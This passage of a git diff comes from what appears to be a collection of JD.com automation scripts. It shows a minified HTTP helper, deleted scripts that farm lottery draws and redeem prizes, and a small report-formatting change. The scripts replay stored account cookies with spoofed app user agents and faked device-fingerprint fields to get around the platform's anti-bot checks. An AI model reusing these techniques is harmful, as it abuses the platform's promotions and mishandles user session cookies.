? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_bean_box.ts b/jd_bean_box.ts deleted file mode 100644 index 5d09eeacb..000000000 --- a/jd_bean_box.ts +++ /dev/null @@ -1,139 +0,0 @@ -/** - * 领京豆-任务 - * 助力:内部 -> HW - * cron: 1 0,9,12,18 * * * - */ - -import axios from 'axios' -import USER_AGENT, {get, randomNumString, requireConfig, wait} from './TS_USER_AGENTS' - -let cookie: string = '', res: any = '', UserName: string, index: number, uuid: string -// let shareCodeSelf: { shareCode: string, groupCode: string, activeId: string }[] = [], shareCode: { shareCode: string, groupCode: string, activeId: string }[] = [], shareCodeHW: { shareCode: string, groupCode: string, activeId: string }[] = [] - -!(async () => { - let cookiesArr: string[] = await requireConfig() - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i] - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - index = i + 1 - console.log(`\n开始【京东账号${index}】${UserName}\n`) - - let headers: object = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://h5.m.jd.com', - 'User-Agent': USER_AGENT, - 'Referer': 'https://h5.m.jd.com/', - 'Cookie': cookie - } - res = await get('https://api.m.jd.com/client.action?functionId=initForTurntableFarm&body=%7B%22version%22%3A4%2C%22channel%22%3A1%7D&appid=wh5', headers) - let times: number = res.remainLotteryTimes - console.log('剩余抽奖机会:', times) - for (let j = 0; j < times; j++) { - console.log('开始抽奖...') - res = await get('https://api.m.jd.com/client.action?functionId=lotteryForTurntableFarm&body=%7B%22type%22%3A1%2C%22version%22%3A4%2C%22channel%22%3A1%7D&appid=wh5', headers) - if (res.code === '0') { - if (res.type === 'thanks') { - console.log('抽奖成功,获得:狗屁') - } else { - console.log('抽奖成功,获得:', res.type) - } - } else { - console.log('抽奖失败', res) - } - await wait(5000) - } - - uuid = randomNumString(40) - for (let j = 0; j < 2; j++) { - console.log(`Round:${j + 1}`) - res = await api('beanTaskList', {"viewChannel": "AppHome"}) - try { - for (let t of res.data.taskInfos) { - if (t.status === 1) { - console.log(t.taskName) - res = await api('beanDoTask', { - "actionType": t.taskType === 3 ? 0 : 1, - "taskToken": t.subTaskVOS[0].taskToken - }) - res.data?.bizMsg ? console.log(res.data.bizMsg) : console.log(res) - await wait(t.waitDuration * 1000 || 2000) - - if (t.taskType !== 3) { - res = await api('beanDoTask', { - "actionType": 0, - "taskToken": t.subTaskVOS[0].taskToken - }) - if (res.data?.bizMsg) - console.log(res.data.bizMsg) - } - await wait(1000) - } - } - } catch (e) { - console.log('Error!', e) - } - await wait(2000) - } - - // 抢京豆 - /* - res = await qjd('signBeanGroupStageIndex', {"monitor_refer": "", "rnVersion": "3.9", "fp": "-1", "shshshfp": "-1", "shshshfpa": "-1", "referUrl": "-1", "userAgent": "-1", "jda": "-1", "monitor_source": "bean_m_bean_index"}) - if (!res.data.shareCode) { - console.log('抢京豆 init...') - res = await qjd('signGroupHit', {"activeType": 2}) - await wait(1000) - res = await qjd('signBeanGroupStageIndex', {"monitor_refer": "", "rnVersion": "3.9", "fp": "-1", "shshshfp": "-1", "shshshfpa": "-1", "referUrl": "-1", "userAgent": "-1", "jda": "-1", "monitor_source": "bean_m_bean_index"}) - } - if (res.data.shareCode) { - console.log('助力码', res.data.shareCode) - shareCodeSelf.push({shareCode: res.data.shareCode, groupCode: res.data.groupCode, activeId: res.data.jklInfo.keyId}) - await wait(2000) - } - } - - console.log('内部助力', shareCodeSelf) - for (let i = 0; i < cookiesArr.length; i++) { - if (shareCodeHW.length === 0) { - await getShareCodeHW() - } - shareCode = [...shareCodeSelf, ...shareCodeHW] - uuid = randomString(40) - cookie = cookiesArr[i] - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - for (let code of shareCode) { - console.log(`${UserName} 去助力 ${code.shareCode}`) - res = await qjd('signGroupHelp', {"activeType": 2, "groupCode": code.groupCode, "shareCode": code.shareCode, "activeId": code.activeId, "source": "guest"}) - console.log(res.data?.helpToast) - if (res.data.respCode === 'SG209') - break - await wait(2000) - } - */ - } -})() - -async function api(fn: string, body: object) { - let {data}: any = await axios.post(`https://api.m.jd.com/client.action?functionId=${fn}`, - `body=${encodeURIComponent(JSON.stringify(body))}&appid=ld&client=apple&clientVersion=10.0.8&uuid=${uuid}&openudid=${uuid}`, { - headers: { - 'Host': 'api.m.jd.com', - 'content-type': 'application/x-www-form-urlencoded', - 'referer': '', - 'user-agent': 'JD4iPhone/167863%20(iPhone;%20iOS;%20Scale/3.00)', - 'Cookie': cookie - } - }) - return data -} - -/*async function qjd(fn: string, body?: object) { - let {data} = await axios.get(`https://api.m.jd.com/client.action?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&appid=ld&client=apple&clientVersion=10.0.8&uuid=${uuid}&openudid=${uuid}`, { - headers: { - 'Host': 'api.m.jd.com', - 'User-Agent': USER_AGENT, - 'Referer': 'https://h5.m.jd.com/rn/3MQXMdRUTeat9xqBSZDSCCAE9Eqz/index.html', - 'Cookie': cookie - } - }) - return data -}*/ diff --git a/jd_bean_change.js b/jd_bean_change.js index 32c252b4d..429262ead 100644 --- a/jd_bean_change.js +++ b/jd_bean_change.js @@ -719,20 +719,24 @@ async function showMsg() { strsummary += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; } } - + if (EnableJxBeans) { - ReturnMessage += `【今日喜豆】收${$.todayinJxBean}豆`; - if ($.todayOutJxBean != 0) { - ReturnMessage += `,支${$.todayOutJxBean}豆`; - } - ReturnMessage += `\n`; - ReturnMessage += `【昨日喜豆】收${$.inJxBean}豆`; - if ($.OutJxBean != 0) { - ReturnMessage += `,支${$.OutJxBean}豆`; - } - ReturnMessage += `\n`; - ReturnMessage += `【当前喜豆】${$.xibeanCount}喜豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; - strsummary += `【当前喜豆】${$.xibeanCount}豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + if ($.todayinJxBean || $.todayOutJxBean) { + ReturnMessage += `【今日喜豆】收${$.todayinJxBean}豆`; + if ($.todayOutJxBean != 0) { + ReturnMessage += `,支${$.todayOutJxBean}豆`; + } + ReturnMessage += `\n`; + } + if ($.inJxBean || $.OutJxBean) { + ReturnMessage += `【昨日喜豆】收${$.inJxBean}豆`; + if ($.OutJxBean != 0) { + ReturnMessage += `,支${$.OutJxBean}豆`; + } + ReturnMessage += `\n`; + } + ReturnMessage += `【当前喜豆】${$.xibeanCount}喜豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + strsummary += `【当前喜豆】${$.xibeanCount}豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; } @@ -1695,7 +1699,7 @@ function getCoupon() { url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=1&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, headers: { 'authority': 'wq.jd.com', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", 'accept': '*/*', 'referer': 'https://wqs.jd.com/', 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', @@ -1704,7 +1708,7 @@ function getCoupon() { timeout: 10000 } $.get(options, async(err, resp, data) => { - try { + try { data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); let couponTitle = ''; let couponId = ''; diff --git a/jd_blueCoin.js b/jd_blueCoin.js deleted file mode 100644 index 2eeb15e9b..000000000 --- a/jd_blueCoin.js +++ /dev/null @@ -1,526 +0,0 @@ -/* -东东超市兑换奖品 脚本地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js -感谢@yangtingxiao提供PR -更新时间:2021-6-7 -活动入口:京东APP我的-更多工具-东东超市 -支持京东多个账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============QuantumultX============== -[task_local] -#东东超市兑换奖品 -59 23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js, tag=东东超市兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true - -====================Loon================= -[Script] -cron "59 23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js,tag=东东超市兑换奖品 - -===================Surge================== -东东超市兑换奖品 = type=cron,cronexp="59 23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js - -============小火箭========= -东东超市兑换奖品 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js, cronexpr="59 23 * * *", timeout=3600, enable=true - */ -const $ = new Env('东东超市兑换奖品'); -const notify = $.isNode() ? require('./sendNotify') : ''; -let allMessage = ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let coinToBeans = $.getdata('coinToBeans') || 0; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认不兑换京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 -let jdNotify = false;//是否开启静默运行,默认false关闭(即:奖品兑换成功后会发出通知提示) -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com/api?appid=jdsupermarket`; -Date.prototype.Format = function (fmt) { //author: meizz - var o = { - "M+": this.getMonth() + 1, //月份 - "d+": this.getDate(), //日 - "h+": this.getHours(), //小时 - "m+": this.getMinutes(), //分 - "s+": this.getSeconds(), //秒 - "S": this.getMilliseconds() //毫秒 - }; - if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); - for (var k in o) - if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); - return fmt; -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.data = {}; - $.coincount = 0; - $.beanscount = 0; - $.blueCost = 0; - $.errBizCodeCount = 0; - $.coinerr = ""; - $.beanerr = ""; - $.title = ''; - //console.log($.coincount); - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); - // console.log(`目前暂无兑换酒类的奖品功能,即使输入酒类名称,脚本也会提示下架\n`) - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName || $.UserName}\n请重新登录获取cookie`); - } - continue - } - //先兑换京豆 - if ($.isNode()) { - if (process.env.MARKET_COIN_TO_BEANS) { - coinToBeans = process.env.MARKET_COIN_TO_BEANS; - } - } - try { - if (`${coinToBeans}` !== '0') { - await smtgHome();//查询蓝币数量,是否满足兑换的条件 - await PrizeIndex(); - } else { - console.log('查询到您设置的是不兑换京豆选项,现在为您跳过兑换京豆。如需兑换,请去BoxJs设置或者修改脚本coinToBeans或设置环境变量MARKET_COIN_TO_BEANS\n') - } - await msgShow(); - } catch (e) { - $.logErr(e) - } - } - } - if ($.isNode() && allMessage && $.ctrTemp) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function PrizeIndex() { - let nowtime = new Date().Format("s.S") - let starttime = $.isNode() ? (process.env.SM_STARTTIME ? process.env.SM_STARTTIME * 1 : 60) : ($.getdata('SM_STARTTIME') ? $.getdata('SM_STARTTIME') * 1 : 60); - if(nowtime < 59) { - let sleeptime = (starttime - nowtime) * 1000; - console.log(`等待时间 ${sleeptime / 1000}`); - await sleep(sleeptime) - } - await smtg_queryPrize(); - // await smtg_materialPrizeIndex();//兑换酒类奖品,此兑换API与之前的兑换京豆类的不一致,故目前无法进行 - // await Promise.all([ - // smtg_queryPrize(), - // smtg_materialPrizeIndex() - // ]) - // const prizeList = [...$.queryPrizeData, ...$.materialPrizeIndex]; - const prizeList = [...$.queryPrizeData]; - if (prizeList && prizeList.length) { - if (`${coinToBeans}` === '1000') { - if (prizeList[1] && prizeList[1].type === 3) { - console.log(`查询换${prizeList[1].name}ID成功,ID:${prizeList[1].prizeId}`) - $.title = prizeList[1].name; - $.blueCost = prizeList[1].cost; - } else { - console.log(`查询换1000京豆ID失败`) - $.beanerr = `东哥今天不给换`; - return ; - } - // if (prizeList[1] && prizeList[1].status === 2) { - // $.beanerr = `失败,1000京豆领光了,请明天再来`; - // return ; - // } - if (prizeList[1] && prizeList[1].limit === prizeList[1] && prizeList[1].finished) { - $.beanerr = `${prizeList[1].name}`; - return ; - } - //兑换1000京豆 - if ($.totalBlue > $.blueCost) { - for (let j = 0; j <= 10; j++) { - await smtg_obtainPrize(prizeList[1].prizeId); - if ($.errBizCodeCount >= 15) break - } - } else { - console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); - $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; - } - } else if (`${coinToBeans}` === '20') { - if (prizeList[0] && prizeList[0].type === 3) { - console.log(`查询换${prizeList[0].name}ID成功,ID:${prizeList[0].prizeId}`) - $.title = prizeList[0].name; - $.blueCost = prizeList[0].cost; - } else { - console.log(`查询换万能的京豆ID失败`) - $.beanerr = `东哥今天不给换`; - return ; - } - // if (prizeList[0] && prizeList[0].status === 2) { - // console.log(`失败,万能的京豆领光了,请明天再来`); - // $.beanerr = `失败,万能的京豆领光了,请明天再来`; - // return ; - // } - if ((prizeList[0] && prizeList[0].limit) === (prizeList[0] && prizeList[0].finished)) { - $.beanerr = `${prizeList[0].name}`; - return ; - } - //兑换万能的京豆(1-20京豆) - if ($.totalBlue > $.blueCost) { - for (let j = 0; j <= 10; j++) { - await smtg_obtainPrize(prizeList[0].prizeId, 1000); - if ($.errBizCodeCount >= 15) break - } - } else { - console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); - $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; - } - } else { - //自定义输入兑换 - console.log(`\n\n温馨提示:需兑换商品的名称设置请尽量与其他商品有区分度,否则可能会兑换成其他类似商品\n\n`) - let prizeId = '', i; - for (let index = 0; index < prizeList.length; index ++) { - if (prizeList[index].name.indexOf(coinToBeans) > -1) { - prizeId = prizeList[index].prizeId; - i = index; - $.title = prizeList[index].name; - $.blueCost = prizeList[index].cost; - $.type = prizeList[index].type; - $.beanType = prizeList[index].hasOwnProperty('beanType'); - } - } - if (prizeId) { - if (prizeList[i].inStock === 506 || prizeList[i].inStock === -1) { - console.log(`失败,您输入设置的${coinToBeans}领光了,请明天再来`); - $.beanerr = `失败,您输入设置的${coinToBeans}领光了,请明天再来`; - return ; - } - if ((prizeList[i].targetNum) && prizeList[i].targetNum === prizeList[i].finishNum) { - $.beanerr = `${prizeList[0].subTitle}`; - return ; - } - if ($.totalBlue > $.blueCost) { - if ($.type === 4 && !$.beanType) { - for (let j = 0; j <= 10; j++) { - await smtg_obtainPrize(prizeId, 0, "smtg_lockMaterialPrize") - if ($.errBizCodeCount >= 15) break - } - } else { - for (let j = 0; j <= 10; j++) { - await smtg_obtainPrize(prizeId); - if ($.errBizCodeCount >= 15) break - } - } - } else { - console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); - $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; - } - } else { - console.log(`奖品兑换列表【${coinToBeans}】已下架,请检查活动页面是否存在此商品,如存在请检查您的输入是否正确`); - $.beanerr = `奖品兑换列表【${coinToBeans}】已下架`; - } - } - } -} -//查询白酒类奖品列表API -function smtg_materialPrizeIndex(timeout = 0) { - $.materialPrizeIndex = []; - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `${JD_API_HOST}&functionId=smtg_materialPrizeIndex&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%221%22%7D&t=${Date.now()}`, - headers : { - 'Origin' : `https://jdsupermarket.jd.com`, - 'Cookie' : cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, - 'Host' : `api.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - } - } - $.post(url, async (err, resp, data) => { - try { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode !== 0) { - $.beanerr = `${data.data.bizMsg}`; - return - } - $.materialPrizeIndex = data.data.result.prizes || []; - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -//查询任务 -function smtg_queryPrize(timeout = 0){ - $.queryPrizeData = []; - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `${JD_API_HOST}&functionId=smt_queryPrizeAreas&clientVersion=8.0.0&client=m&body=%7B%22channel%22%3A%2218%22%7D&t=${Date.now()}`, - headers : { - 'Origin' : `https://jdsupermarket.jd.com`, - 'Cookie' : cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, - 'Host' : `api.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - } - } - $.post(url, async (err, resp, data) => { - try { - if (safeGet(data)) { - data = JSON.parse(data); - // $.queryPrizeData = data; - if (data.data.bizCode !== 0) { - console.log(`${data.data.bizMsg}\n`) - $.beanerr = `${data.data.bizMsg}`; - return - } - if (data.data.bizCode === 0) { - const { areas } = data.data.result; - const prizes = areas.filter(vo => vo['type'] === 4); - if (prizes && prizes[0]) { - $.areaId = prizes[0].areaId; - $.periodId = prizes[0].periodId; - $.queryPrizeData = prizes[0].prizes || []; - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -//换京豆 -function smtg_obtainPrize(prizeId, timeout = 0, functionId = 'smt_exchangePrize') { - //1000京豆,prizeId为4401379726 - const body = { - "connectId": prizeId, - "areaId": $.areaId, - "periodId": $.periodId, - "informationParam": { - "eid": "", - "referUrl": -1, - "shshshfp": "", - "openId": -1, - "isRvc": 0, - "fp": -1, - "shshshfpa": "", - "shshshfpb": "", - "userAgent": -1 - }, - "channel": "18" - } - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `${JD_API_HOST}&functionId=${functionId}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, - headers : { - 'Origin' : `https://jdsupermarket.jd.com`, - 'Cookie' : cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, - 'Host' : `api.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - } - } - $.post(url, async (err, resp, data) => { - try { - console.log(`兑换结果:${data}`); - if (safeGet(data)) { - data = JSON.parse(data); - $.data = data; - if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 400) { - $.beanerr = `${$.data.data.bizMsg}`; - //console.log(`【京东账号${$.index}】${$.nickName} 换取京豆失败:${$.data.data.bizMsg}`) - return - } - if ($.data.data.bizCode === 400) { - $.errBizCodeCount ++; - console.log(`debug 兑换京豆活动火爆次数:${$.errBizCodeCount}`); - return - } - if ($.data.data.bizCode === 0) { - if (`${coinToBeans}` === '1000') { - $.beanscount ++; - console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) - if ($.beanscount === 1) return; - } else if (`${coinToBeans}` === '20') { - $.beanscount ++; - console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) - if ($.data.data.result.count === 20 || $.beanscount === coinToBeans || $.data.data.result.blue < $.blueCost) return; - } else { - $.beanscount ++; - console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) - if ($.beanscount === 1) return; - } - } - } - await smtg_obtainPrize(prizeId, 3000); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -function smtgHome() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_newHome'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市兑换奖品: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - if (safeGet(data)) { - data = JSON.parse(data); - // console.log(data) - if (data.data.bizCode === 0) { - const { result } = data.data; - $.totalBlue = result.totalBlue; - console.log(`【总蓝币】${$.totalBlue}个\n`); - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function sleep(timeout) { - return new Promise((resolve) => setTimeout(resolve, timeout)); -} -//通知 -function msgShow() { - // $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【收取蓝币】${$.coincount ? `${$.coincount}个` : $.coinerr }${coinToBeans ? `\n【兑换京豆】${ $.beanscount ? `${$.beanscount}个` : $.beanerr}` : ""}`); - return new Promise(async resolve => { - $.log(`\n【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功` : $.beanerr}` : "您设置的是不兑换奖品"}\n`); - if ($.isNode() && process.env.MARKET_REWARD_NOTIFY) { - $.ctrTemp = `${process.env.MARKET_REWARD_NOTIFY}` === 'false'; - } else if ($.getdata('jdSuperMarketRewardNotify')) { - $.ctrTemp = $.getdata('jdSuperMarketRewardNotify') === 'false'; - } else { - $.ctrTemp = `${jdNotify}` === 'false'; - } - //默认只在兑换奖品成功后弹窗提醒。情况情况加,只打印日志,不弹窗 - if ($.beanscount && $.ctrTemp) { - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${ $.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`); - allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}${$.index !== cookiesArr.length ? '\n\n' : ''}` - // if ($.isNode()) { - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`) - // } - } - resolve() - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - 